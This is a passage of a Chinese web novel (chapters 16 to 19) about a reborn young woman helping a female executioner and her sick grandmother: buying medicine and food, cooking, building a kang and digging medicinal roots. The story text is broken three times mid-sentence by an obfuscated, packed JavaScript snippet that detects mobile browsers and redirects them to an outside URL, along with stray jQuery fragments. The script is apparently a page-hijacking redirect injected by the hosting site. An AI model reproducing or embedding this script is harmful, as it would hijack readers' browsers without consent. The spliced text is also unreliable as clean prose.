她正踌躇着是否要与对方说户籍弄错的事，旁边一人插嘴：“不是说当刽子手都娶不上媳妇吗？你瞧她媳妇，长得还挺俊俏。” “嗐，这小江要是长成老江头那粗糙磕碜模样，你看这小媳妇跟不跟他？” 她张了张嘴，却被一旁的林霜拉住。 于是冲着几人点了点头，侧身避让而过。 “我们去集市采买些东西回家吧。”林霜道。 江怀贞终于没再执着方才的那段插曲，嗯了一声：“先去永安堂买药，买了药再去赶集。” 心里盘算着那二两银子怎么花。 林霜道好：“买药得多少钱？” “先前背奶来看诊，大夫说这七天先吃同一剂药，过后重新看诊才能开新药，上次钱不够，只买了五副，眼下还要再买两副。” 士大夫阶层看病都是开三剂观效，以防病传变，而她们这些贩夫走卒为了节省诊金，通常都是开七剂包圆。 “多少钱一副？” “五十文。” 林霜闻言，不禁咋舌，一天一副药，十天就是五百文，一个月不得一两半银子。也怪不得江怀贞顾不得村里人的风言风语也要女承父业，接了这份活儿。 试想普通人家要是遇到这样的情况，怕早就放弃治疗了吧？ 自己上一世断了腿身子灌了毒药，一天得花多少银子，江怀贞却从未跟自己诉过一声苦，每日精心照顾，也从未断过药。可想而知，她得多辛苦？ 她得多珍爱亲人的性命？ 而那时候的自己，甚至连亲人都算不上。 “没关系，我现在采药也能赚钱，我们一起攒钱，把奶的病给治好。” 江怀贞摇头：“这些与你无关。” “怎么与我没有关系，刚刚那小吏说了，我们如今已有婚姻之名，祖婆的病，当然与我有关。”林霜小声道。 “那个不作数。” 江怀贞说着，提着裹着玄布的长刀往永安药铺方向走去。 “我不管，反正我现在已经是你家户籍上的人了，家里的事，也得算我一份。” 林霜边说着，快步追上去。 16.采买食物 江怀贞态度冷淡，林霜并未放在心上。 她重活一世，紧紧抓着江怀贞不放，除了要为自己挣得一条活路，再有就是报恩。 如今更多的，是赎罪。 上一世自私地将她抛下，留在另外一个世界孤苦伶仃，自己却独自赴死这件事如今一想起来，就让她坠入无边的内疚中，这一世，只希望能好好照顾她们祖孙两。 所以又怎能因为她的疏离而耿耿于怀？ “还完了欠的外债，还剩有钱吗？”她追上去问。 既然是一起住，一起赡养老人，她得要知道家里的经济状况，也好做下一步的计划。 江怀贞步子不减，沉默了一下，最后回道：“刚刚领了七两，还了卢捕头三两，回去要还村正二两，还剩二两。” “只有七两？不是八个人头？”林霜眉头蹙起来，“那一两是被上边的小吏贪墨了吗？” 江怀贞喉咙里滚了一个“嗯”字。 一般来说，地方衙门除了一把手和二把手是外调过来，其他胥吏的位置几乎都是本地豪强子弟等地头蛇包圆了，即便江怀贞如今也是个杂役的身份，可比起这些掌握实权的小吏，她根本就说不上话。 更何况她才入行刚几天，无权无势，还没站稳脚跟，更不好得罪人。 林霜上一世性子软弱，处处受人欺凌，当然知道这种处境会有多憋屈，但眼下没有办法拿鸡蛋和石头碰，也只能暂时忍耐。 但她知道自己这时候万不可火上浇油，于是调整了一下心绪，安抚道：“无妨，这一两就当留着给他买棺材了。” 果然对方被她这么一安慰，心里明显好受了些。 “剩下二两你好好收着，留给奶看病，往后家里开支由我想办法。” 江怀贞想也不想回道：“不成。” 林霜瞥她一眼，“你别小瞧我，我今晨挖的山药刚刚卖了两百多文钱，虽然不比你的那些，可重在是细水长流。” “当然，往后要是上山采药，少不了要你帮忙，就算是咱俩一起挣的钱，怎样？” “再说吧。”江怀贞并不情愿占她便宜。 话说着，肚子突然咕咕叫了一下。 这时候天色已经不早，她今日心神和体力消耗极大，如今任务一完成赏银也拿到手，紧张和压力消失，方觉得饿极了。 林霜听到这一声，才想起自己买的包子，等拿出来的时候，才发现已经被捏得不成样子。 她讪笑着将摊开的油纸递过去道：“原本是给你买的，怕你饿了，谁知你那时已经上刑场了，不方便给你……” “你去看我行刑了？”江怀贞看着她。 林霜嗯了声，“不过我胆子小，后边的没敢看，只看了开头那个。” 江怀贞明显舒了口气，看着馅儿都跑出来的包子，也没嫌弃，把油纸接过来，拿起包子大口大口地往嘴里塞。 有些狼狈，但配上那一张好看的脸，仍觉得养眼。 吃了两个，她将还剩一个递给林霜：“我饱了。” “我不吃，你吃。”林霜说。 见对方仍坚持，她只得接过来，把剩下的给消灭了。 等吃完，两人肩并着肩朝永安药铺走去。 先前接待林霜的小伙计见到她，笑道：“姑娘又回来了？” 林霜转头指着江怀贞道：“来抓药。” 江怀贞没进门，只是冲着小伙计道：“按上次的方子，抓剩下的两副。” 小伙计见是她，忙道：“二位原来认识，请稍等，我这就去抓药。” 说完忙不迭朝里边的药房奔去。 来抓药看病的百姓见到江怀贞出现，有些人已经认出她来，颇有些惶恐地往后退避。 江怀贞见状，从怀里掏出一块碎银子递给林霜道：“我去外边等着。” 说完提着刀往后门偏僻处走去，隐身在大树后边。 众人窃窃私语，忍不住上下打量着林霜，想着刚才两人亲密的模样，揣测她们的关系。 林霜大大方方道：“红差也是差，左右不过是奉命行事，更不会随意当街屠人。和诸位一样，生病得看病吃药，为人子女得赡养老人，说白了不过是工种不同，大家不必惊慌。” 原本有些骚乱的人群听了她这话，很快就平静下来。 有人忍不住问道：“你们是何关系？怎么敢走得那么亲近？” 林霜道：“我是她娘子。” 户籍上可不就是这么写的嘛。 她死的时候都快三十岁了，早已不是十五六岁一说起婚姻就害羞的年纪，说起这话的时候脸不红心不跳。 众人又交头接耳起来，应当是觉得刽子手居然能娶到媳妇这事很是稀奇。 “一身杀气，你看上什么呀？” “孝顺，勤劳，”林霜道，“长得好看。” 听她说完最后一句，众人哄然笑开，有人说她不知羞，但也打破了这些人原本对刽子手这个身份的惧怕心理。 说笑间，伙计很快就提着两个药包小跑出来，张望了一下没见到江怀贞，于是朝林霜走来，问道：“小江呢？” “给她吧，她是小江的媳妇。”有人道。 先前江怀贞背江老太来看病，伙计是知道她女子身份，如今听到众人这么说，狐疑地看着林霜。 林霜笑道：“给我吧，她在后边等着。” 小伙计哦哦两声，“吃完这两副药就得重新来看诊，若是好些了，能换便宜一些的药方……” 说到这儿就没说下去，只是把药递给她。 林霜付了钱等他找零，道过谢后朝江怀贞的方向走去。 到了集市。 林霜道：“家里有米，买些粗面，平日煮粥吃不饱，蒸个馍能填饱肚子。奶那儿得买些鸡蛋回去补身子，鸡蛋能放久一些，平日若是进城，再买些肉。” 这些细细碎碎的东西，江怀贞见她比自己还懂，于是从买药剩下的钱里拿了一些递给她，由她做主。 林霜却摇头：“说好了你的这些钱留给奶看病，家里吃穿我们再另外挣。” 江怀贞不愿与她当街争执，迟疑了一下，把钱收起来。 粗面买了十斤，白面卖三斤，再买一罐盐，还有十斤猪板油。见到路边有人提着鸡蛋来卖，一文钱一个，林霜一口气买了二十个，连带着稻草结的小篮子花了二十一文钱。 [粗面一斤四文钱，白面一斤六文钱……面花了五十八文，盐花了二十文，猪板油和肉一百二十文，一副骨头十文，鸡蛋……一共两百二十六文] 林霜脑子里过了一下数，原本的三串铜板只剩下三十七个。 钱花得差不多了，但看着眼前满满当当的背篓，心里还是很高兴。 赚钱可不就是为了花钱嘛。 等买完这些，她转头冲着江怀贞道：“这些东西够我们吃好一阵子了，你还有什么要买的吗，咱把剩下的给花完了。” 江怀贞目光扫过她耳边因为走的急被风撩起的一缕发，摇了摇头：“我没什么要买的。” 林霜刚才见到有人卖糖，但是太贵了，终究还是不舍得买，“先留着吧，等下次进城，缺什么再买。” 于是两人便提着东西出了城。 江怀贞不愿坐马车，她如今已经被百姓认识，人人见她如见瘟疫一般，她不愿去讨人嫌。况且半个多时辰的脚程对她来说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133866|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不算什么。 她让林霜去坐车，林霜却拒绝了，两人一起步行归家。 从永安药铺出发去集市，背篓就被江怀贞背着，林霜想着她今日行刑，身心疲惫，手上还提着个二三十斤的鬼头刀，不忍心她受累，想要拿过来自己背，却被对方拒绝了。 “这点东西不重，不过你把鸡蛋拿出来提着，免得走路颠着了。” 林霜拗不过她，只得随她去。 等两人回到家，已是下晌。 江怀贞扶着老太太去茅厕，林霜歇了会儿就准备炼油。 老太太回来路过厨房门口的时候，忍不住往里扫了一眼问：“忙活一大早，都买得什么东西了？” 林霜正在切猪板油，听到声音转头看她，笑眯眯道：“买了猪板油，还有猪大骨和肉，晚上熬骨头汤喝。奶要是不想躺，让江姐姐拿个有靠背的椅子来厨房坐。” 江老太似乎很喜欢这个提议，扭头看着江怀贞。 江怀贞先把她扶到一旁的高椅坐下，这才去把堂屋的藤椅搬进厨房。这椅子还是江贵活着的时候编的，每日喝点小酒就往上边一躺，别提有多惬意。 自他走后，江老太生了一场大病，又极其厌世，终日窝在床上。若不是她爱干净，不愿在屋里使用夜壶，她甚至都不愿出门一步。 今日却松口要坐藤椅，这个迹象让江怀贞有些意外，也有些欣喜，小心翼翼地扶着她坐下，靠在椅背上。 随后又转身回屋，抱了张薄被子出来盖在她身上。 林霜看着老太太被安顿好，自己又两手都是油，笑着指挥：“江姐姐，生火吧。” 江怀贞轻嗯一声，蹲到灶前。 很快，炉子里烟火就生了起来，从灶口冒出来的几缕烟雾顺着烟囱往上爬，聚在屋檐下。 “用哪个锅煎油？”江怀贞问。 “大铁锅，十斤油能有好大一锅呢，”林霜道，“这边炉子生好了把另外一边也生起来，熬大骨头。” 肉铺老板已经帮忙把大骨头给砍小，洗干净就可以直接下锅。 江怀贞应下。 老太太看着两人在灶前忙碌，难得没说什么扫兴的话。 把猪油和猪骨头分别下锅后，林霜让江怀贞看火，自己出门去菜地拔根萝卜和青菜。 江怀贞拿着斧头坐在柴堆边上劈柴。 江老太斜着眼看她，问道：“砍头那活儿还没干完？” 江怀贞接下这个活儿，原本是瞒着她，但平日她没有正经活儿，大部分时间会在家，就算是在山上，也会及时赶回来，给她弄饭，扶她去茅房。 可那天孙女把饭提前准备在床边，她就知道她找了份中午不能回来的活儿，她心里觉得不妙，拄着拐杖花了全部力气往那小柴房里去，果然儿子的鬼头刀不见了。 她就知道，孙女去当刽子手了。 天塌了。 但木已成舟。 只是好几日过去了，来了个小丫头，天好像也还没塌。 “今天是最后一天，不出意外的话年前大抵是不会再有活儿了。”江怀贞老老实实回道。 老太太明显松了一口气，嘴里嘀咕：“怪不得今天有钱买那么多东西。” 江怀贞并不想她误会，回道：“买这些东西，都是她出的钱。” 那砍头的赏银，自然是留给她这个本早该死的老太婆买药了。 江老太原本稍微缓和的心情瞬间又不美丽起来了，压抑不住地连咳了两声，挣扎着坐起来就要回房间。 这时门外传来脚步声，林霜惊喜的声音也传进来：“怀贞，今天老母鸡下了两个蛋呢。” 老太太直起的背又挨了回去。 17.大骨头汤 听到林霜说两个鸡蛋的事，江怀贞淡淡回道：“昨天的没捡。” 林霜闻言，好不遗憾。 提着菜进了厨房，冲着江老太问：“奶喜欢大骨头和萝卜炖还是和山药一起炖？” 江老太没好气道：“左右不过吃到肚子里的东西，哪个不一样？” “那不一样，”林霜一边削着萝卜道，“萝卜清甜解腻，山药软糯爽口，口感不同，吃下去效果也不一样。” 被她这么一搅，老太太原本有些上头的情绪又缓了下来，耷拉着眼皮子道：“都放。” 林霜唇角一勾：“我原也是这么想的，咱们想到一处去了。” 老太太被她哄着，别扭地转过头看着灶台道：“火烧那么大，油都给烧焦了。” 林霜转头去看，火候是稍微大了一些，倒不至于她说的烧焦，但还是上前去，抽出一根木头塞到旁边熬着骨头的灶子里。 “这样刚刚好。” 猪板油熬了半个多时辰才起锅，整个厨房一股油脂味儿，但对乡下人来说，是香甜和美味的味道。 林霜把油渣盛在碗里，分了一半出来，撒上几粒盐拌了拌，自己拿了一块，随即把碗递给江怀贞。 江怀贞今天身体消耗大，不过在城里那几个包子下去，肚子还不算很饿，她期待的是正餐，只拿了两块便不吃了。 江老太倒是想尝一口，林霜却没往她这边递，只是笑眯眯道：“奶的身子吃不了这东西，吃一粒能咳一晚，等弄了晚饭再吃吧。” 自生病以来，江老太已经好久没怎么馋东西了，尤其是自家孙女那些喂猪的“猪食”，导致她对一日的三餐也没什么期待。不过自这小丫头来了以后，几顿饭下来，她那对食物原本已经一潭死水的心思似乎有了死灰复燃的迹象。 她当然知道这东西不合适入口，可无奈它香啊。 想吃又吃不到，一张脸瞬间变得黑压压。 老人越老越像个小孩，尤其是一些脾气古怪的老人，林霜活了这么些年，她能明白这个道理，笑着安抚道：“时间不早了，骨头也熬得差不多，现在就准备晚饭。” 说着淘米做饭，又提着粗面的袋子准备拌点面煎饼子，免得她俩晚上吃粥吃不饱。 江老太见状道：“煮干饭吧，我泡着汤吃就成。” 这么长时间以来一直喝粥，除了省粮食，主要还是为了将就她这老太婆，年纪大了饭太干就不容易咽下去。 但今天是孙女今年的最后一天上刑场，也不知道心里受不受得住，看着瘦了许多，面色苍白得很，总得给她吃顿好的。 林霜听她这么说，下意识转头去看江怀贞。 江怀贞道：“稀饭配饼子也好吃。” 江老太脸色一沉：“我现在说话都不管用了吗？让你不去做的事你偏去做，连煮顿饭都要跟我犟。” 江怀贞立马闭嘴。 林霜忙笑着打圆场：“好好好，煮干饭，今晚有肉，我巴不得呢。” 说完转身又多舀了一碗米，重新淘米，加水，上灶。 她将渐渐冷却下来的猪油舀到罐子里，一边和老太太有一搭没一搭地说着话，眼看米饭冒出香味，才去蹲下来去扒拉柜子底下的酸菜。 这一罐是昨天另外腌的，没有跟其他的混在一起。她拿出来瞧了瞧后满意道：“虽然没那么黄，但也已经有酸味了，正好待会儿和肉一起炒，肯定下饭。” 祖孙两人刚刚呛了一嘴，这会儿谁都没出声。 江怀贞劈完柴，又坐到门口，把没有编完的簸箕拿过来，继续编。 林霜把酸菜洗了洗，一边切一边问她：“明天是不是要砌炕了？要不了多久就入冬，等做好还得晒几日才能用得上。” 江怀贞头也不抬道：“明天砌。” 江老太并不知道她们先前商量的事，问：“什么炕？” 林霜故意不吱声。 江怀贞耐心解释道：“就是冬天能在底下烧火取暖的土床。” “睡上边那不得像煎大饼给煎熟了？”江老太惊讶道。 林霜这才接口：“不会，炕面很厚，火不烧那么旺，睡之前加把火，就能暖上一夜。” 江老太啧了一声：“老婆子睡了一辈子的木床安稳得很，才不睡那烙煎饼的土锅子。” 林霜见过那炕的好处，乐意看她此时嘴硬，唇角勾了勾，“您就等着瞧好了。” 老太太一脸不以为意。 今天在集市买了两斤五花肉，林霜也没想着一下子煮完，留了一半放油里稍微煎一下，埋到油罐里做焖罐肉也不会坏。 剩下一半切成薄片，就着煎油的油锅干煸，煸出油脂，再将酸菜倒进去。 油很足，火也够猛，一窜火苗跟着溅出来的油燃到油锅里，肉片烧得滋滋作响。 整个厨房充斥着一阵肉香味，加了两头蒜，香得鼻子都要爆了。 林霜一边炒菜一边问：“烟有点大，祖婆要出去坐吗？” 老太太却不愿，她就喜欢这样的烟火味，她都两年多没有感受过这样充满烟火气息的厨房了，厨艺这一块，她根本就指望不了自家孙女。 酸菜在腌之前原本就是用开水烫过，这会儿稍稍翻炒出味就能出锅。 酸菜出锅，大骨头炖煮萝卜山药也跟着上桌，江怀贞给老太太换了一个矮一点的椅子，随后帮忙舀饭。 老太太那一碗，泡了骨头汤，奶白奶白的。 五花肉炒酸菜，油上得足，油亮油亮，看上去让人很有食欲。 “开动吧。”江老太道。 三人开始动筷。 江老太今天精神状态似乎好了一些，胃口也比昨天要好，猪大骨汤熬过的萝卜很是香甜，她一连吃了三块，肉炒酸菜却没动几筷子，倒是两个小姑娘把酸菜和炒肉盖到香喷喷的米饭上，吃得那叫一个美。 看着两人吃得急，忍不住念叨： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147114|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “慢点吃，没人跟你们抢——” 林霜从碗里抬起头道：“炒菜舍得放油那是真的香，混着米饭，我能吃三大碗。” 她没吃三大碗，两碗米饭再加两碗汤，肚子就撑了。 酸菜炒肉被她们二人瓜分了个一干二净，汤倒是剩了半锅，留着明日早上煮面疙瘩。 江怀贞自觉地去洗碗。 林霜把老太太扶回房间去休息，随后坐到厨房门口看着她收拾。 这人回来到现在，到目前为止情绪还算稳定，看不见出来今天那场行刑对她有没有影响。 林霜估摸着多少会有些影响，但至少眼下，江怀贞人还是正常的，吃饭也能吃得香，任凭老太太怎么说她她情绪也还是很稳定，没有半分要顶撞的迹象。 那么后来的江怀贞是因为什么变成和死人一般地毫无生机？ 想不出来，只能暂时放下。 “江怀贞，我是不是还有些优点？”她问道。 江怀贞听到这话，手上微微顿了一下，回了一声“是”。 林霜对这个回答很满意，抬起胳膊伸了个懒腰，转头看着外边被暮色笼罩着的天空，带着从灰雾里撕出来的一抹夕阳。 她活了两辈子，前十六年在林家，不被伯父伯母待见，食不果腹。后十一年在秦家，终日提心吊胆如履薄冰，还有年复一年日复一日的劳作，和被各种不同药物浸蚀的破败身子，就从来没有像现在这么放松过。 老太太嘴巴毒得理不饶人，可自己出门她还会给两个铜板坐车进城。至于江怀贞，她就更不用说了，是她把自己给带离了深渊。 自己实际的年龄比江怀贞还要大，可在这傻姑娘面前，却被照顾着。 但她觉得，这祖孙二人都挺需要她。 她看着天边的那一抹红，第一次觉得天空这么好看。 江怀贞不知什么时候站在她身旁，正拿着抹布擦手上的水珠。 “不是说还有双鞋底要拿过来吗？这会儿天还没黑，我过去看看。” 林霜没想到她竟把这事放在心上，心里高兴，也来了兴趣：“我们现在过去吗？” “不是我们，是我去，”江怀贞纠正她道，“那东西你先前是放哪个地方？” “就放席子下边，他们要是还没有换席子就不一定会发现。”林霜怀着侥幸的心理。 那鞋底刚好合适江怀贞现在的脚，她一点都舍不得留给林家人。 “你打算怎么拿？”她问。 “那间房的窗子缝隙很大，稍微拿根棍子就能把门闩给顶起来，进去倒不费事。” 见对方要动身，林霜赶忙拉住她的胳膊道：“我跟你一起去，我就在窗户下边等你，不进去，成不？” 江怀贞想了想：“也行，要是被发现了，那就光明正大地拿。” 林霜冲着她眨了眨眼，“放心吧，平日这个时候他们正好另一边屋子吃晚饭，现在过去刚好合适。” 18.家有一老 两人摸到林家附近时，林家一家子正在堂屋吃饭。 竹筷敲着瓷碗发出叮当的声音，夹杂着时不时的说话声，成了最好的掩护。 江怀贞常年锻炼，身子异常灵活，轻轻松松就从那小小的窗户钻进去。 房间已经大变样，连被子都是厚厚的两番，又加装了一个新打的大柜子和几张桌子，和当初林霜在的时候天壤之别。 看样子是林果住进来了。 鸠占鹊巢，但林霜没有说理的地方。 江怀贞掀开席子，万幸的是鞋垫还在，她拿了东西递给在窗外望风的林霜，很快又跳了出来。 只是刚要离开的时候，堂屋那边传来马桂花尖锐的声音。 “我今日偷偷托人问了秦家那边，改生辰八字的事，就是那个小贱人自己找人把消息透露出去，要不人家怎么会晓得这事？小小年纪城府就这么深，长大了还不知道怎么害人。” “钱都已经到手了，还提这些陈芝麻烂谷子的事做什么……” 这是林满仓的声音。 混着咀嚼声，林霜能想象到他挤满食物的嘴里又塞进了两瓣大蒜，听着就一股味儿。 “咋地我还不能提？要是她能顺利嫁进秦家，我至少能捞到十两银子，迎亲时还有聘礼呢！结果被西山谷那个扫把星截了胡，就给了八两，啥也没捞着，还得天天看着那死丫头在村里转悠，膈应死人了！”马桂花的话语中满是怨毒，毫不掩饰。 “姓江的那个贱人，还敢下我面子，等我找到机会，定撕了她那张狐狸精的脸！” 林霜听着远远传来的声音，脸上很不自然，这一家子的恶劣，平日她们怎么对待自己，也只有自己心下知道，但就这么摊开在江怀贞面前，还连带她被骂，这让她觉得很难堪。 江怀贞自然也是把这些话听进去，她就此没说什么，只是轻声道：“走吧，回去了。” 两人借着微弱的光亮，返身朝西山谷走去。 深秋的晚上风挺大，吹得周边的树木哗哗作响，天地里的虫鸣鸟叫声比起夏日要少了许多，带着一股萧瑟的凉意。 林霜好不容易才把刚才林满仓夫妇说的话抛在脑后，捏了捏手里的鞋垫道：“等回去了，我把它做成你的鞋子。” 江怀贞却摇头：“你脚还会再长长，留着以后你自己穿。” “不会了，”林霜道，“……感觉今年它们已经不长了，你走路多，鞋子容易烂，给你做一双结实点儿的，能穿久一些。” 江怀贞素来不爱与人争执，打算等鞋子做好了再说。 直到进了山谷，回到家中，屋里传来江老太骂骂咧咧的声音：“这么晚了跑去哪里，灯也不点，叫也不应，是瞎了还是聋了。” 林霜看了眼江怀贞，嘴角翘起。 黑暗里，江怀贞依稀能感受到她的笑意，嗔恼地瞪了她一眼，才迈进门去，打着火石点灯。 晚上，林霜洗漱完了躺在床上，睁大着眼睛盯着黑乎乎的房顶。 拿回了鞋底的她隐隐带着几分兴奋，仿佛拿到这个东西，就切断了她与过往的那些链接。 但她知道，有些事情发生了就是发生了，即便是发生在另外一世，也永远磨灭不掉。 她不知道上一世江怀贞在自己看不见的地方，如何熬过老太太的死，如何度过那十年，如何变成了后来的那个样子。 还有自己死后，她又该如何自处。 重活之后的林霜已经不止一次地后悔以那样的方式结束性命，把江怀贞孤零零一个人留在那个世界。 听着耳边轻轻的呼吸声，她侧过身子，黑暗的夜里，依稀能看到对方的轮廓，此时还纯良平和的江怀贞，就躺在那里。 只是身子有些不安地蜷缩起来，似乎被困在白天投射的噩梦里。 林霜想起白日刑场上死囚的诅咒，那恶毒的语言，还有飞溅起来的血滴，印入这人的眉心，触目惊心。 无限的怜悯在一刹那间涌入她心怀，她倾过身，将对方修长的身子搂在怀里。 …… 天蒙蒙亮，屋后的大公鸡尽职尽责地打着鸣。 江怀贞早早就醒了。 起床之后先去烧水，再去伺候老太太起床。 眼下白天热早晚凉，老太太怕冷，洗漱都要热水跟上。 林霜没多久也起来了。 洗漱完了就去和面，把昨晚上没吃完的大骨头汤烧开，直接下青菜丁和面疙瘩，最后再把两个鸡蛋打散淋在上边，水滚一下便可以起锅。 江老太今晨没有折腾，靠在床上吃着面疙瘩汤。 两个年轻的姑娘坐在床边的桌子那儿，一人一大海碗，吃得满头大汗。 林霜总算明白上一世自己为什么长不高了，十六岁之前在林家，吃不饱穿不暖，吃进去的都不够长出来。直到后来去了秦家，头一个多月秦冲还没死的时候倒是能吃得几顿好的，可同时又担心秦冲当即挂掉，忧心忡忡，夜不能寐。后来秦冲真的死了，她被秦家祖孙几人集中针对，每天有做不完的活，受不完的辱骂，吃的一下子也跟不上，比在林家还要苦得多，也错过了最后一次能长高的机会。 个儿长不高，脚也小，难怪那鞋底用不上。 不像江怀贞，江贵是她十五岁时候摔死，可在那之前，他对这个女儿是真疼爱，虽然吃穿赶不上城里人，但至少穿得暖，衣服也没有什么补丁。不说每天吃肉，但一个月至少有十天八天是能吃得上肉的。 她亲生父母肯定长得不赖，加上食物充足，她长得高也不奇怪。 看着坐在一旁弓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151561|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着腰吃早饭的江怀贞，林霜决定，往后自己也要补好身子，不能比她矮太多。 吃完早饭，天已经大亮，两人着手弄炕。 砌炕要有砖头和炕面板，商量过后决定，砖头就去砖窑那儿买。 一个火炕大概一百来块砖头，一块砖头一文钱左右，还在她们负担之内。 至于炕面板，用绵沙土和麦秸搅拌一起，自己动手制作土坯炕板。 江怀贞熟悉木工，量了一下老太太屋里放火炕的位置，确定每块炕板的大小后，很快就做出一个模具。 随后两人再去山谷深处挖土，往地里抱了一些稻草回来剁碎，加了水混合搅拌一起，最后再将泥浆倒到模具里，用力夯实。 脱模之后放到阴凉处阴干。 “这几天不下雨，风挺大，放个四五天就成了。砖头也不急，等进城顺路打听一下，一百多块砖肯定有现货，到时候直接让人拉回来就行。”林霜说着，就着江怀贞舀过来的水洗手洗脚。 “晌午吃点东西，下晌上山跟我去挖草药？”她问道。 昨天看到的那一大片草药，只挖了山药，防风还没动，两个人去，一下午能挖完。 衙门的活儿暂时没了，江怀贞没有别的挣钱办法，应了一声好。 早上吃了面疙瘩，吃完又是挑土又是剁草和泥，干的全是吃力气的活儿，年轻的身体吃的多，但也消耗快这会儿肚子已经饿得咕咕叫。 林霜早上刚下决心要好好养好身体长个儿，自然不会亏待自己的身子，洗完脚就去厨房淘米做饭。 午饭吃得简单，粥配合小炒菜，另外给江老太做了个蒸蛋就完事。 江老太心疼她们花钱，让林霜以后不要专门给她煮蛋了，原话是：“这具身子都要入土了，浪费那些钱作甚？到时候埋在地下，还不是肥料一堆。” 林霜笑道：“有我在，你想入土怕是难了，吃好喝好，再活个二三十年没有问题。” 江老太不高兴道：“活那么久要当老不死吗？” 林霜既然已经下定决心要向江怀贞报恩赎罪，自然要在意她所在意的一切，包括眼前的这个小老太太。 “家有一老如有一宝，宝贝只有放得越久才越有价值。” 当然，秦家那老妖精除外。 江老太听她如此说，撇了撇嘴，这天底下能有几个子孙会拿动弹不得的老人当宝贝？她哼哼两声，到底没再往这个事情上怼她，转过话头道：“进进出出忙活一早上，扰得我头疼，你们那个炕什么时候好？我是不想装，可你们也不听我的，索性早点弄完早完事，我也能落个清净。” “坯子还没干，等个四天左右吧。”林霜没有戳破她期待的心思。 江老太一听，闷闷地靠回床头去，饭也吃不香了。 19.采挖防风 吃完午饭，两人便一人背着一个背篓上山了。 走了大约半个多时辰来到昨日那个地方，看着旁边刨出来的一大片黑土，江怀贞问道：“山药是在这儿挖的？” 林霜点头：“前两天少一些的是在另外一个地方挖，昨天拿去卖的就在这儿挖，看，那一片绿油油细长枝叶的就是防风。” 江怀贞扫了一眼：“还挺多的。” 林霜把背篓放下来，拿起木头削成的工具开始挖药。 江怀贞看着她挖了两根，才蹲跪下来，开始动手。 “防风是根部入药，根还挺长，仔细不要伤到就行了。”林霜细细交代。 江怀贞应了一声好，低着头开始挖。 她挖的方式跟林霜不一样，林霜是一根一根撬，她则直接顺着这一大丛防风边缘的从地面往下挖开一个深沟，然后顺着这条沟，往那一丛草药方向一点一点地刨开土，很快就得到一株完整的防风。 这对长得密集的植物来说，着实有效。 除开挖沟耗费的时间，后面基本上一挖能挖五六根根，而林霜那边，还在跟前头那几根小心翼翼地奋斗。 林霜刚才还不理解她的行为，这会儿才发现她的方法实在高效，笑眯眯地放弃自先前的办法，滚到沟里，和她一起从沟里捋。 果然快上许多。 江怀贞很安静，就算是干活的时候也是拧着眉保持专注的模样。 林霜很喜欢和她待在一起干活的氛围，但挖久了也忍不住会聊天，她看着眼前没要多久就已经挖了一大半的人笑道：“我原本以为这些得要挖两三个时辰，没想到你一来没多久就搞完了，你真厉害。” 她要是自己一个人来，按照刚刚的办法，怕是得挖上一天。 对于她的夸奖，江怀贞唇角微不可察地翘了一下。 “昨天我在永安堂药铺问过了，这个东西晒干了一斤二十文，你算算，咱们挖的这些，能有多少斤？”林霜问她。 江怀贞抬起头，看了看身后的背篓，又望着眼前还剩一半的草药，想了想道：“得有两百斤吧。” 根据上一世的经验，林霜估算也是这样。 “差不多这个重量，晒干了应该还有六七十斤，到时候全都卖掉了，是一笔不小的收入。” 能抵得上江怀贞砍一个人头的钱了。 等把老太太病治好，家里有了些存钱，江怀贞就不用再去做那个行当了。 旁边的江怀贞低着头继续挖草药，嘴里突然冒出一声“谢谢”。 “谢我什么？” “你早上和祖婆说的那些话。” 林霜笑笑。 江怀贞性子孤僻，江老太脾气也不是个好的，老太太虽然心里疼爱她，但两个人都不是会表达的人，一个冷言冷语一个闷不吭声，家里气氛好才怪。 “我心里本就是那么想，她好好活着，你开心了，咱们这个家才像个家。” 江怀贞轻轻嗯了一声。 林霜这时突然想起把这么多草药运下山的事，懊恼道：“我今天疏忽了，两百斤的货，咱们就带了两个背篓，怕是得辛苦多跑一趟。” “不碍事，待会儿我背多一点。”江怀贞习惯做重活，并不觉得辛苦，“要是下次还有这么多药材，带扁担上来挑。” 林霜哼道：“我力气也不小，我也能背很多。” 毕竟年轻的身体，虽然比不上江怀贞，但其实也还是有力气的。 “先背到半山腰的水涧那儿，洗干净再背回去，回去后就可以直接晾晒。” “好。” 两人把所有防风都挖出来后，再细细去除残茎、泥土和其他杂质，这才装到背篓里。 下山，往半山腰小溪处走了一趟，再返回去重新背第二轮。 等都背完了，才将药材倒到水浅处，去了鞋袜，一根根仔细清洗干净。 江怀贞看着洗得还剩一半，于是道：“我先背一筐下去，你在上边继续洗，等我拿了扁担和箩筐上来，一次性挑下去。” 